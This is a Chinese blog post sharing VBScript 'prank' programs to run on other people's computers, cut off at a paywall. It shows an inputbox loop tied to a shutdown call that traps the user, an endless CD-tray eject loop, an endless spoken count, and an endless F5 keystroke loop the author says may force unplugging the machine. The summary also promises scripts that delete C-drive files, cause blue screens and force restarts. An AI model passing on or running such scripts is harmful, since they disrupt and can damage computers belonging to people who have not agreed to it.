几个好玩（整人）的vbs小程序

最新推荐文章于 2024-03-04 17:34:44 发布

原创

最新推荐文章于 2024-03-04 17:34:44 发布 · 4.7k 阅读

标签

#cmd #windows #vbs病毒

这篇博客分享了一系列VBScript（vbs）代码，用于制作恶搞小程序，包括无限弹窗、弹出光驱、无尽语音报数、修改注册表、QQ信息骚扰等。还包含了几个危险的操作，如强制删除C盘文件、电脑蓝屏、无限CMD窗口，甚至有导致电脑死机和自动重启的命令。最后，博主提醒读者注意代码可能带来的后果，并鼓励指出代码错误。

虽然标题上是讲vbs的，但是我不介意在文章末尾加彩蛋！
整人之旅开始啦！

1.vbs

1.恶搞不断弹出消息对话

set ws=createobject("wscript.shell") 

call shutdown(1) 

do while a<>"XXX" 

a=inputbox("快在下面的框框里输入XXX喜欢谁,否则后果自负"" ","一个问题","") 

loop 

call shutdown(2) 

msgbox"好吧，不过好自恋啊",4096+64 

msgbox"但是你关不掉我",4096+64 

msgbox"真的",4096+64 

MsgBox"你不信？",4096+64 

MsgBox"打开任务管理器也没有什么软用的",4096+64 

MsgBox"给你讲个故事",4096+64 

MsgBox"从前有座山!",4096+64 

MsgBox"山里有个庙.",4096+64 

MsgBox"庙里有个老和尚在讲故事.",4096+64 

msgbox"哎呀累了！数绵羊哄我睡觉",4096+64 

for i=1 to 60

上面的“for i=1 to 60”中的“60”是次数的数量，可以更改的

2.不断弹出光驱

set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop

我认为这个可以把你朋友仇人整到疯！
但是下面这两个才更加震惊正经

3.无尽语音报数：无限语音从1数到无限大

Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop

4.无尽刷新

set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop

慎用，如此刷新打开任务管理器都难，只能拔掉电源。

咳咳咳，热身已结束，来一点更好玩的吧

1.修改注册表

on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject(

最低0.47元/天解锁文章